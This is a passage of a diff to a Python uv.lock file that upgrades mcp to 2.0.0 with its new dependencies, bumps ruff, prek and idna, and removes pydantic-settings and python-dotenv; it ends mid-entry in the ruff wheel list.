-name = "httpx-sse" -version = "0.4.3" +name = "httpx2-jsfetch" +version = "1.0" source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/0f/4c/751061ffa58615a32c31b2d82e8482be8dd4a89154f003147acee90f2be9/httpx_sse-0.4.3.tar.gz", hash = "sha256:9b1ed0127459a66014aec3c56bebd93da3c1bc8bb6618c8082039a44889a755d", size = 15943, upload-time = "2025-10-10T21:48:22.271Z" } +sdist = { url = "https://files.pythonhosted.org/packages/cd/c4/0e5636363151a2a1795e0a77617168b9ca438e1748ec05fc9b5687f93d64/httpx2_jsfetch-1.0.tar.gz", hash = "sha256:70a0e3eabfef7cce5ad9c629f7d01ca05e418f586646f4ddf14782e4c1454c60", size = 6872, upload-time = "2026-08-07T00:13:07.492Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/d2/fd/6668e5aec43ab844de6fc74927e155a3b37bf40d7c3790e49fc0406b6578/httpx_sse-0.4.3-py3-none-any.whl", hash = "sha256:0ac1c9fe3c0afad2e0ebb25a934a59f4c7823b60792691f779fad2c5568830fc", size = 8960, upload-time = "2025-10-10T21:48:21.158Z" }, + { url = "https://files.pythonhosted.org/packages/9b/43/832f631d32e4f1211caa2ba368317739fe71f0b8530e4c9d15dc454bac2a/httpx2_jsfetch-1.0-py3-none-any.whl", hash = "sha256:cb916b707601e69a07721aabc8f3f6659be3a6893bc1ff5c6f9e02241df2da32", size = 6382, upload-time = "2026-08-07T00:13:06.567Z" }, ] [[package]] name = "idna" -version = "3.16" +version = "3.18" source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/1a/88/bcf9709822fe69d02c2a6a77956c98ce6ea8ca8767a9aadcedc7eb6a2390/idna-3.16.tar.gz", hash = "sha256:d7a6da03db833450fca25d2358ac9ff06cd624577a4aea3a596d5c0f77b8e03d", size = 203770, upload-time = "2026-05-22T00:16:18.781Z" } +sdist = { url = "https://files.pythonhosted.org/packages/cd/63/9496c57188a2ee585e0f1db071d75089a11e98aa86eb99d9d7618fc1edce/idna-3.18.tar.gz", hash = "sha256:ffb385a7e039654cef1ab9ef32c6fafe283c0c0467bba1d9029738ce4a14a848", size = 196711, upload-time = "2026-06-02T14:34:07.794Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/94/16/70255075a9859a0e3adb789b68ceb0e210dec03934245fd98d248226572f/idna-3.16-py3-none-any.whl", hash = "sha256:cc246e3a3f89580c3a951b5ad298ca4638078b2cdd4f115654332b5c26daded5", size = 74165, upload-time = "2026-05-22T00:16:16.698Z" }, + { url = "https://files.pythonhosted.org/packages/1e/5e/d4e9f1a599fb8e573b7b87160658329fbf28d19eac2718f51fc3def3aa5a/idna-3.18-py3-none-any.whl", hash = "sha256:7f952cbe720b688055e3f87de14f5c3e5fdaa8bc3928985c4077ca689de849a2", size = 65455, upload-time = "2026-06-02T14:34:06.319Z" }, ] [[package]] @@ -670,7 +673,7 @@ dev = [ dev = [ { name = "mypy", specifier = ">=2.1.0" }, { name = "pytest", specifier = ">=9.1.1" }, - { name = "ruff", specifier = ">=0.15.22" }, + { name = "ruff", specifier = ">=0.16.2" }, ] [[package]] @@ -793,7 +796,7 @@ dev = [ dev = [ { name = "mypy", specifier = ">=1.10" }, { name = "pytest", specifier = ">=8.0" }, - { name = "ruff", specifier = ">=0.15.22" }, + { name = "ruff", specifier = ">=0.16.2" }, ] [[package]] @@ -819,7 +822,7 @@ dev = [ dev = [ { name = "mypy", specifier = ">=2.1.0" }, { name = "pytest", specifier = ">=9.1.1" }, - { name = "ruff", specifier = ">=0.15.22" }, + { name = "ruff", specifier = ">=0.16.2" }, ] [[package]] @@ -840,7 +843,7 @@ dev = [ dev = [ { name = "mypy", specifier = ">=2.3.0" }, { name = "pytest", specifier = ">=9.1.1" }, - { name = "ruff", specifier = ">=0.15.21" }, + { name = "ruff", specifier = ">=0.16.2" }, ] [[package]] @@ -861,7 +864,7 @@ dev = [ dev = [ { name = "mypy", specifier = ">=2.3.0" }, { name = "pytest", specifier = ">=9.1.1" }, - { name = "ruff", specifier = ">=0.15.22" }, + { name = "ruff", specifier = ">=0.16.2" }, ] [[package]] @@ -882,20 +885,20 @@ dev = [ dev = [ { name = "mypy", specifier = ">=2.1.0" }, { name = "pytest", specifier = ">=9.1.1" }, - { name = "ruff", specifier = ">=0.15.22" }, + { name = "ruff", specifier = ">=0.16.2" }, ] [[package]] name = "mcp" -version = "1.28.1" +version = "2.0.0" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "anyio" }, - { name = "httpx" }, - { name = "httpx-sse" }, + { name = "httpx2" }, { name = "jsonschema" }, + { name = "mcp-types" }, + { name = "opentelemetry-api" }, { name = "pydantic" }, - { name = "pydantic-settings" }, { name = "pyjwt", extra = ["crypto"] }, { name = "python-multipart" }, { name = "pywin32", marker = "sys_platform == 'win32'" }, @@ -905,9 +908,22 @@ dependencies = [ { name = "typing-inspection" }, { name = "uvicorn", marker = "sys_platform != 'emscripten'" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/6e/77/9450b8f251a13affb6281997d0523c4615f8a8b35d0b21ff30db3a5aac9d/mcp-1.28.1.tar.gz", hash = "sha256:d51e36a5f5644faea4f85ea649bfffa6bc6c26770d42798ad6a3de3d2ba69683", size = 638501, upload-time = "2026-06-26T12:57:29.093Z" } +sdist = { url = "https://files.pythonhosted.org/packages/74/33/32d4dff2c95bb5d897c3ef4c83649a08996b17b58f0a326d2495d4c81179/mcp-2.0.0.tar.gz", hash = "sha256:0f440e735c13ece8bb19bc62cf0b86f4313448432fbb77d35e14034f4e050728", size = 1662284, upload-time = "2026-07-28T13:45:32.346Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/e2/5e/d118fce19f87a2e7d8101c35c8ae0ec289098a4df0ff244cec23e415aca0/mcp-1.28.1-py3-none-any.whl", hash = "sha256:2726bca5e7193f61c5dde8b12500a6de2d9acf6d1a1c0be9e8c2e706437991df", size = 222620, upload-time = "2026-06-26T12:57:27.218Z" }, + { url = "https://files.pythonhosted.org/packages/67/72/7d7897418912c1d12e87556630dfb7bf0eac71160e9bef8b447960804ee3/mcp-2.0.0-py3-none-any.whl", hash = "sha256:1cb4c75d2d2c7b8c1d756355e5d82a39f2822cc7f13e22a2051d7ca3592349d6", size = 349980, upload-time = "2026-07-28T13:45:28.853Z" }, +] + +[[package]] +name = "mcp-types" +version = "2.0.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "pydantic" }, + { name = "typing-extensions" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/bb/56/9b8e1c152f61f6c6b07c4b5896c88c7d0ae90bac6ee6306f852fcc5c1eb0/mcp_types-2.0.0.tar.gz", hash = "sha256:d7d939b9285c9961ae8866ba75ef85da34d12bafe276efbf4eb6a131786d8379", size = 66632, upload-time = "2026-07-28T13:45:33.804Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/f5/4c/c78d78c3d52b0ac594ad7cc8ef5972adfe070e3597a8a4c6ce0cd39196ea/mcp_types-2.0.0-py3-none-any.whl", hash = "sha256:6b2de797ca2797f568b79529e1b25948e34de511bcc0bd82fef1039a6d1b8eb0", size = 69649, upload-time = "2026-07-28T13:45:30.713Z" }, ] [[package]] @@ -995,16 +1011,16 @@ dev = [ [package.metadata] requires-dist = [ { name = "google-auth-oauthlib", specifier = ">=1.4.0" }, - { name = "mcp", marker = "extra == 'mcp'", specifier = ">=1.28.1" }, + { name = "mcp", marker = "extra == 'mcp'", specifier = ">=2.0.0" }, ] provides-extras = ["mcp"] [package.metadata.requires-dev] dev = [ - { name = "mcp", specifier = ">=1.28.1" }, + { name = "mcp", specifier = ">=2.0.0" }, { name = "mypy", specifier = ">=2.3.0" }, { name = "pytest", specifier = ">=9.1.1" }, - { name = "ruff", specifier = ">=0.15.22" }, + { name = "ruff", specifier = ">=0.16.2" }, ] [[package]] @@ -1016,6 +1032,18 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/be/9c/92789c596b8df838baa98fa71844d84283302f7604ed565dafe5a6b5041a/oauthlib-3.3.1-py3-none-any.whl", hash = "sha256:88119c938d2b8fb88561af5f6ee0eec8cc8d552b7bb1f712743136eb7523b7a1", size = 160065, upload-time = "2025-06-19T22:48:06.508Z" }, ] +[[package]] +name = "opentelemetry-api" +version = "1.44.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "typing-extensions" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/ee/8b/aa9e2d8b8dfa7c946f7dec5d1f8f6ba8eca062f43509a06bdb5ce93d26c0/opentelemetry_api-1.44.0.tar.gz", hash = "sha256:67647e5e9566edcf421166fdf022b3537f818635daa852b289e34604dc6fb33a", size = 72406, upload-time = "2026-07-16T15:25:32.678Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/ca/6f/a04e900f465ff3221ccc395522503e2d10e79fa21f2723c8e177aae1e0d1/opentelemetry_api-1.44.0-py3-none-any.whl", hash = "sha256:94b98c893a91b88657eaac1e3ba89618cdb85be6918196705354f34728b2cdef", size = 60018, upload-time = "2026-07-16T15:25:11.657Z" }, +] + [[package]] name = "packaging" version = "26.2" @@ -1052,7 +1080,7 @@ dev = [ dev = [ { name = "mypy", specifier = ">=2.1.0" }, { name = "pytest", specifier = ">=9.1.1" }, - { name = "ruff", specifier = ">=0.15.22" }, + { name = "ruff", specifier = ">=0.16.2" }, ] [[package]] @@ -1073,7 +1101,7 @@ dev = [ dev = [ { name = "mypy", specifier = ">=2.1.0" }, { name = "pytest", specifier = ">=9.1.1" }, - { name = "ruff", specifier = ">=0.15.22" }, + { name = "ruff", specifier = ">=0.16.2" }, ] [[package]] @@ -1103,7 +1131,7 @@ dev = [ dev = [ { name = "mypy", specifier = ">=2.1.0" }, { name = "pytest", specifier = ">=9.1.1" }, - { name = "ruff", specifier = ">=0.15.22" }, + { name = "ruff", specifier = ">=0.16.2" }, ] [[package]] @@ -1124,31 +1152,31 @@ dev = [ dev = [ { name = "mypy", specifier = ">=2.1.0" }, { name = "pytest", specifier = ">=9.1.1" }, - { name = "ruff", specifier = ">=0.15.22" }, + { name = "ruff", specifier = ">=0.16.2" }, ] [[package]] name = "prek" -version = "0.4.10" +version = "0.4.13" source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/7c/54/edc21e275f9fa3540d4d98cf349c2de11621d6729cc401bb7aedf563609e/prek-0.4.10.tar.gz", hash = "sha256:db3122f4e780eb4587635e6a83df881caf2dbb1eb7799d1cca51158216d6f33b", size = 502565, upload-time = "2026-07-16T10:13:00.788Z" } +sdist = { url = "https://files.pythonhosted.org/packages/d4/79/19f47eeb4d6092d36f94f47a056e7ae7a421d60220c772e8513483521b63/prek-0.4.13.tar.gz", hash = "sha256:9bf3dce400ef38a281836e4fe6429aa5f1690848be77cd97cb53c93769db4681", size = 533200, upload-time = "2026-08-10T08:54:15.477Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/db/e7/5a63528ba7b95b64f38db3e253aed49ee8e5e8ba16589889d2b7f809edb7/prek-0.4.10-py3-none-linux_armv6l.whl", hash = "sha256:023f302741d79301346c3088ba43a9592aff0ecdbe5ddc3019fa9b1183319c5e", size = 5694609, upload-time = "2026-07-16T10:12:26.352Z" }, - { url = "https://files.pythonhosted.org/packages/0b/ef/ee9e6bf9a5ce242e9e4e66ac4e2e9042a0f6fd9f367cee18ad404456e93d/prek-0.4.10-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:72adc707e16f97564bbae08d22b222ac3bb2491f8fbfb5a0754f80d472c28a71", size = 6044037, upload-time = "2026-07-16T10:12:28.539Z" }, - { url = "https://files.pythonhosted.org/packages/68/7e/da08cc39e5348ccb9234e63a21ee56861f72e8497d6a78f0db1ccae6515d/prek-0.4.10-py3-none-macosx_11_0_arm64.whl", hash = "sha256:04c9321957e1b32e1fc7cf60bb4f90bba3761f8659d5551ed04f96e25596de49", size = 5535983, upload-time = "2026-07-16T10:12:30.691Z" }, - { url = "https://files.pythonhosted.org/packages/30/c6/0486a35bb687a9beac7a5810bd1104c6da56d469b30b1eeaeefd03c99da2/prek-0.4.10-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.musllinux_1_1_aarch64.whl", hash = "sha256:e66ccf6c5e4ebadd05cd98cb338d7f553e4d27aa243cf91279c5a569b3cdccc7", size = 5862085, upload-time = "2026-07-16T10:12:33.042Z" }, - { url = "https://files.pythonhosted.org/packages/52/39/277fe17ae1f121e532e3942456f5a6d01ddacfbc550e481dcb359be7a1b0/prek-0.4.10-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:63f9061d75a50ef0ca92c4b596ad352937a845df80758244950e513b27e9e18f", size = 5605697, upload-time = "2026-07-16T10:12:35.498Z" }, - { url = "https://files.pythonhosted.org/packages/ad/a1/08354af3e000f2656fad086690d834eab6c04631ff41313a219ea6232199/prek-0.4.10-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3c2ff7110e4bfaafbbab13c2893a337081aca61ed797f14b6b224d2ea9741eef", size = 6034111, upload-time = "2026-07-16T10:12:37.545Z" }, - { url = "https://files.pythonhosted.org/packages/e4/74/4702396c8d486132e5ce009ab56a0b37f50cb6866830d371f2617b7bdfdc/prek-0.4.10-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2b696a05542e79aa27bcce68d1792e77f4fe6f9c6b012b34d74d62f964f3c72d", size = 6787203, upload-time = "2026-07-16T10:12:40.031Z" }, - { url = "https://files.pythonhosted.org/packages/90/29/b5d5d6fb87ebd64b37471e3e79761de9983f85e14d69c522efe7af6620ce/prek-0.4.10-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:431b44d6054e72815b4b05e1173596dfd02a7f7461211d40a2e3117e414642ad", size = 6261333, upload-time = "2026-07-16T10:12:42.216Z" }, - { url = "https://files.pythonhosted.org/packages/94/d6/54ba696d19f7efdc184093353cce713a850aef9c3556e23faeecafa22e94/prek-0.4.10-py3-none-manylinux_2_28_aarch64.whl", hash = "sha256:ccbd2b4fd1df790087ba18b4506f680471922a5f13714f19801568434a040dee", size = 5867761, upload-time = "2026-07-16T10:12:44.329Z" }, - { url = "https://files.pythonhosted.org/packages/be/7d/3975098aa2baaabfc10f99f9fcf78045c4f10851beed8e9812b6a2688eab/prek-0.4.10-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:479e7480b447191aa5c6ed67e80f081d0f5ee4e878b140f4d2cee44165395f1c", size = 5714412, upload-time = "2026-07-16T10:12:46.297Z" }, - { url = "https://files.pythonhosted.org/packages/97/c0/3e0aac190fe95fdef98526343559b61d4d9fd54444c8c9137ba02412afe1/prek-0.4.10-py3-none-musllinux_1_1_armv7l.whl", hash = "sha256:0bb7451025cbd2b68e480a13cf665d7a5c87c8b87bf18549a78985c17df817ed", size = 5578145, upload-time = "2026-07-16T10:12:48.261Z" }, - { url = "https://files.pythonhosted.org/packages/d7/44/7b26035534204b8b8a9d5e625479201e616413d287262f557cb32e1f8d77/prek-0.4.10-py3-none-musllinux_1_1_i686.whl", hash = "sha256:4fb047e5776676805794574b2d7b178cb3ab536793aadf172419fcda56b34a57", size = 5889245, upload-time = "2026-07-16T10:12:50.818Z" }, - { url = "https://files.pythonhosted.org/packages/7e/6c/178a9d768876b4211a1bf63907fe308ae02d173639bcf41cea3c5eed35c1/prek-0.4.10-py3-none-musllinux_1_1_x86_64.whl", hash = "sha256:08318818d19caf79643babb89f872c92fda134a622b4731df1d6ed61e29d2d26", size = 6372849, upload-time = "2026-07-16T10:12:52.952Z" }, - { url = "https://files.pythonhosted.org/packages/4d/84/d5f5ac8193602883f9dd1d675d9d4084e34fbe3ed2ef50a0c336d8a53d8f/prek-0.4.10-py3-none-win32.whl", hash = "sha256:092872714dcde480a662bbdd98b980b248c2d3e10543d4d53a3a58cc9e5b35b0", size = 5413005, upload-time = "2026-07-16T10:12:55.113Z" }, - { url = "https://files.pythonhosted.org/packages/41/63/9e648fda10bc02c9b6ba305f93b6a6e4fd37d23d13a269a9d2d6bb44eaa1/prek-0.4.10-py3-none-win_amd64.whl", hash = "sha256:3d323a18d0f8c50e474a8fa29fb93bd2db680116d8afb19b76e72ad4667f58e6", size = 5799075, upload-time = "2026-07-16T10:12:56.963Z" }, - { url = "https://files.pythonhosted.org/packages/22/74/b34d8c80cec8dccc7b922c75b9dca62b18b603b5ed2eea93c9d7c2928d2d/prek-0.4.10-py3-none-win_arm64.whl", hash = "sha256:5e93865ef96756c4a26f37ece04ad514abbc19ae6a23ed1a507b6314e6a0d2fb", size = 5563955, upload-time = "2026-07-16T10:12:59.07Z" }, + { url = "https://files.pythonhosted.org/packages/c8/12/661dc1c63c322000580dffa8503d28d633cb5d4c3181e662cbb86eded12e/prek-0.4.13-py3-none-linux_armv6l.whl", hash = "sha256:6a313f5f041b2fcbd33bceb6b6e11ee9b8621c8c6ad8ef13787a6d90541b624d", size = 5801508, upload-time = "2026-08-10T08:53:52.18Z" }, + { url = "https://files.pythonhosted.org/packages/86/4a/c50597a45d08b22e5704a5d4d5c03269a581b46cf1f060861f9ba96cdade/prek-0.4.13-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:40436cd7247d2a2fc036ef07d7efcd828acf1aab9d648a8a3f21475e3ad3f789", size = 6141612, upload-time = "2026-08-10T08:53:53.86Z" }, + { url = "https://files.pythonhosted.org/packages/82/93/abc084bbd76bb6c34efbf7db441392f17b7bfc50a54c4d53d3e37c7ad6e0/prek-0.4.13-py3-none-macosx_11_0_arm64.whl", hash = "sha256:019a33b477b7b949fb6dcd6cb33ed494c4a28117e53c370c637ec0aba60211aa", size = 5625418, upload-time = "2026-08-10T08:53:55.39Z" }, + { url = "https://files.pythonhosted.org/packages/ec/4d/a310ff9adcb4b822d935eb55f0f5cdcfe4c18a16610bc5e220a11215dc38/prek-0.4.13-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.musllinux_1_1_aarch64.whl", hash = "sha256:5a2851b6e60912e73be1bf2cf61fab5b314add15ba7bcf230f860282bdbaf16b", size = 5942132, upload-time = "2026-08-10T08:53:56.789Z" }, + { url = "https://files.pythonhosted.org/packages/f9/d8/811230ff285000abdc0fb98b56b9ef2d23b2dc530cf2da86fe1665f844ba/prek-0.4.13-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:9ba9b94bd3f47b5f94a4ae504c44f9529cb3258ebaf577a5a6070ea0c6a853d6", size = 5710181, upload-time = "2026-08-10T08:53:58.278Z" }, + { url = "https://files.pythonhosted.org/packages/74/84/01f7163cc4267daba6b01cfac726327c6d848d2bb7349bd2fd877d88f744/prek-0.4.13-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:33fc9e0d435cb9e650ec108f840febe7a94fd266c77149860091cead212dc82d", size = 6157705, upload-time = "2026-08-10T08:53:59.586Z" }, + { url = "https://files.pythonhosted.org/packages/30/e3/061a0e9ebd7064edf70bb783afa575d045ac0cc9035c2143b76401ebcaf5/prek-0.4.13-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:91066d8978eab83c111e7c34ee3046a003819d2df15ef7dc2bddeb83dce62bc0", size = 6898016, upload-time = "2026-08-10T08:54:00.927Z" }, + { url = "https://files.pythonhosted.org/packages/cd/68/5e8e2b9ff6a30b46bf35ca3b50e4d164c26406d9e7457d5b4633c6e1fbc0/prek-0.4.13-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:85646fcc940f30bd946d63b6bbd1000d946994c88e154c5bdde7773a2c358dcf", size = 6365056, upload-time = "2026-08-10T08:54:02.704Z" }, + { url = "https://files.pythonhosted.org/packages/f9/23/afe543b69fb7f35016645eb4b766191e814cbcfa5545d695a2a7dd9b712e/prek-0.4.13-py3-none-manylinux_2_28_aarch64.whl", hash = "sha256:961859c3ddddb8e10367afcf93742da36fa213eda080f168fc1dcbe33e0b004d", size = 5952174, upload-time = "2026-08-10T08:54:04.079Z" }, + { url = "https://files.pythonhosted.org/packages/cc/6e/9e651ce51aa0b03244277f5e0660cf1b946a270cb62635a8a100389a67a2/prek-0.4.13-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:ccf4fcbfc686ad6b589f2908ed6012a315091c45163e1f4420648b9669651a9e", size = 5761875, upload-time = "2026-08-10T08:54:05.378Z" }, + { url = "https://files.pythonhosted.org/packages/cf/64/e70e18734d93df272476d2f1b30d92c71d41ee7141070f1dd13cfbb2eff8/prek-0.4.13-py3-none-musllinux_1_1_armv7l.whl", hash = "sha256:eb4b7edfe00ca73e58d7e26fb871abddc5854e8d21067a202e43418fb7f98ef2", size = 5685365, upload-time = "2026-08-10T08:54:06.729Z" }, + { url = "https://files.pythonhosted.org/packages/de/78/686fd5d3f12249368a0fdd8f7705e3ba540402a6157ef0b888e48734ff83/prek-0.4.13-py3-none-musllinux_1_1_i686.whl", hash = "sha256:c29449443f89da1647331742984b7046a55084759ad642373a9cc0a973494339", size = 5999013, upload-time = "2026-08-10T08:54:08.183Z" }, + { url = "https://files.pythonhosted.org/packages/9e/aa/93ffac2460b44f6182dbbb3194db976d18332edcb8208c4a796f8f9955f8/prek-0.4.13-py3-none-musllinux_1_1_x86_64.whl", hash = "sha256:7a04d5ac901819b115ecd0bf79cee091f0034323767abcc4a53626eeb96c3be0", size = 6486759, upload-time = "2026-08-10T08:54:09.775Z" }, + { url = "https://files.pythonhosted.org/packages/5b/3c/9f12c0d469ea345c249d5b0a027a1f2bf1ca05041d7785c34c455a9b605c/prek-0.4.13-py3-none-win32.whl", hash = "sha256:6d1bdcc1699ae18270f9bac9c4b4d29c6f1512b7a067e17ce5e220c30636f88c", size = 5515046, upload-time = "2026-08-10T08:54:11.456Z" }, + { url = "https://files.pythonhosted.org/packages/9e/3c/ef9ec67c560e60525d6a49b48a2a60434906f25ec2efa5e010fe2d42bbfa/prek-0.4.13-py3-none-win_amd64.whl", hash = "sha256:2d8fd796ed7944154fbee6d5a6d2490b9d4f14ce3626b1a0c9ca698455b25d9b", size = 5894683, upload-time = "2026-08-10T08:54:12.88Z" }, + { url = "https://files.pythonhosted.org/packages/c5/ce/8fe8fdf8154108a552d5578400da44144697ed11e5bd71d5a4980d7e202e/prek-0.4.13-py3-none-win_arm64.whl", hash = "sha256:65d6811b0220444bcdf539e157d7d5cb8edab01a5ed89534c70d73d675266ecb", size = 5650616, upload-time = "2026-08-10T08:54:14.21Z" }, ] [[package]] @@ -1307,20 +1335,6 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/4b/2d/69abac8f838090bbecd5df894befb2c2619e7996a98ddb949db9f3b93225/pydantic_core-2.46.4-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:d51026d73fcfd93610abc7b27789c26b313920fcfb20e27462d74a7f8b06e983", size = 2193071, upload-time = "2026-05-06T13:38:08.682Z" }, ] -[[package]] -name = "pydantic-settings" -version = "2.14.2" -source = { registry = "https://pypi.org/simple" } -dependencies = [ - { name = "pydantic" }, - { name = "python-dotenv" }, - { name = "typing-inspection" }, -] -sdist = { url = "https://files.pythonhosted.org/packages/5c/b5/8f48e906c3e0205276e8bd8cb7512217a87b2685304d64be27cad5b3019f/pydantic_settings-2.14.2.tar.gz", hash = "sha256:c19dd64b19097f1de80184f0cc7b0272a13ae6e170cbf240a3e27e381ed14a5f", size = 237700, upload-time = "2026-06-19T13:44:56.324Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/77/c1/6e422f34e569cf8e18df68d1939c81c099d2b61e4f7d9621c8a77560799c/pydantic_settings-2.14.2-py3-none-any.whl", hash = "sha256:a20c97b37910b6550d5ea50fbcc2d4187defe58cd57070b73863d069419c9440", size = 61715, upload-time = "2026-06-19T13:44:55.02Z" }, -] - [[package]] name = "pygments" version = "2.20.0" @@ -1360,15 +1374,6 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/24/25/1de2678b631f5a49215c6c96fff41ba892b0a34df68d6d80292b1b48aa7f/pytest-9.1.1-py3-none-any.whl", hash = "sha256:37a86b45efb9a47a61a36449063e8e18d0cab3161329fc099eb21783169c4f0c", size = 386536, upload-time = "2026-06-19T10:58:31.347Z" }, ] -[[package]] -name = "python-dotenv" -version = "1.2.2" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/82/ed/0301aeeac3e5353ef3d94b6ec08bbcabd04a72018415dcb29e588514bba8/python_dotenv-1.2.2.tar.gz", hash = "sha256:2c371a91fbd7ba082c2c1dc1f8bf89ca22564a087c2c287cd9b662adde799cf3", size = 50135, upload-time = "2026-03-01T16:00:26.196Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/0b/d7/1959b9648791274998a9c3526f6d0ec8fd2233e4d4acce81bbae76b44b2a/python_dotenv-1.2.2-py3-none-any.whl", hash = "sha256:1d8214789a24de455a8b8bd8ae6fe3c6b69a5e3d64aa8a8e5d68e694bbcb285a", size = 22101, upload-time = "2026-03-01T16:00:25.09Z" }, -] - [[package]] name = "python-multipart" version = "0.0.32" @@ -1418,7 +1423,7 @@ dev = [ dev = [ { name = "mypy", specifier = ">=2.3.0" }, { name = "pytest", specifier = ">=9.1.1" }, - { name = "ruff", specifier = ">=0.15.22" }, + { name = "ruff", specifier = ">=0.16.2" }, ] [[package]] @@ -1588,27 +1593,27 @@ wheels = [ [[package]] name = "ruff" -version = "0.15.22" +version = "0.16.2" source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/3a/06/ae069393fc66e8ff33036d4b368003833bf6e88ccf182e17e7a2f1c754fd/ruff-0.15.22.tar.gz", hash = "sha256:3f15175b1fb580126f58285a5dae6b2ea89000136d980c64499211f116b54809", size = 4785063, upload-time = "2026-07-16T15:14:13.244Z" } +sdist = { url = "https://files.pythonhosted.org/packages/73/e1/4508a569211b35599016e84ba65c1a992b7a4004b4b6c4bea02a851cba1b/ruff-0.16.2.tar.gz", hash = "sha256:c3d7828d12e8927a6fc65fe38e2c2541b9e762d360a1786d752cb1b8883b3c9c", size = 4885811, upload-time = "2026-08-07T13:31:01.432Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/23/18/ee54b7ae1e121be7a28ea6da4b67564ebb0530e183a54415ab7e3bcd2c4e/ruff-0.15.22-py3-none-linux_armv6l.whl", hash = "sha256:44423e73493737f5e7c5b41d475483898ff37afcdae38bc3da5085e29af1c2d8", size = 10781258, upload-time = "2026-07-16T15:13:19.452Z" }, - { url = "https://files.pythonhosted.org/packages/2f/d2/2520cb14761ddbeaf57642a76942fc36adcbdbe53b4532241995f6fc485c/ruff-0.15.22-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:b82c6482946e9eda7ff2e091d25b8bad3f718684e1916d41bd56873cee05b697", size = 10999477, upload-time = "2026-07-16T15:13:23.318Z" }, - { url = "https://files.pythonhosted.org/packages/c9/10/74e53572aa758dfaa678c2a2646b5c5515d884b7ca56be4d2ce03ca4b560/ruff-0.15.22-py3-none-macosx_11_0_arm64.whl", hash = "sha256:11c1c715af53a09f714e011106bffc419751ec8232fcb5da42173284ea3fec6f", size = 10466716, upload-time = "2026-07-16T15:13:26.162Z" }, - { url = "https://files.pythonhosted.org/packages/1e/cc/44eaaf0844e028182f2d0a8f2190d0f359159aed0a9e5ab861d892f1ae2a/ruff-0.15.22-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:742a29cf29bddb7c8327895d6a10e0e6c5b38a96dd407af9b5d0857f809c0576", size = 10892644, upload-time = "2026-07-16T15:13:29.229Z" }, - { url = "https://files.pythonhosted.org/packages/9f/21/8edf559014d2b0f82beea19cfb713993ad802ccda16868769979c6090a84/ruff-0.15.22-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:72af58b951b0ae395935ae79763dc349bc0eb706319d28f7a33ad2cfb3cfc178", size = 10576719, upload-time = "2026-07-16T15:13:32.35Z" }, - { url = "https://files.pythonhosted.org/packages/bf/1e/3a13abd392a3b50b62e5938a831f9ab6e588358cacad5c18545b716d2182/ruff-0.15.22-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:62d425005c1835eb24e2ee4161cb90e8db263415f4a71c8c72c33abaa6c0c224", size = 11376494, upload-time = "2026-07-16T15:13:35.958Z" }, - { url = "https://files.pythonhosted.org/packages/bf/3e/422d3d95bcf04dd78e1aeac22184d4f9a8fb2c01865d39d44618484a0317/ruff-0.15.22-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:e8b9b3f8779a4f08c969defc3c8c35abffaa757e601ed5ae66d6d1db6519969a", size = 12208370, upload-time = "2026-07-16T15:13:39.185Z" }, - { url = "https://files.pythonhosted.org/packages/1e/91/5d065a0e0a02bf4813f5119ad278462eed081d2b832eb7c021ade0ec9e65/ruff-0.15.22-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:1e0dd1b2e4d3d585f897a0d137cbf4eaf6223bef4e8ce34d6bb12556c5f9249e", size = 11581098, upload-time = "2026-07-16T15:13:42.132Z" }, - { url = "https://files.pythonhosted.org/packages/f6/f9/a0d4871d12fae702eb1f41b686caf05f1f8b124dc6db6f784f53d74918fa/ruff-0.15.22-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:365523eb91d9224e1bcb03b022fbf0facb8f9e23792a2c53d9d4b3924bdbdebb", size = 11399422, upload-time = "2026-07-16T15:13:45.2Z" }, - { url = 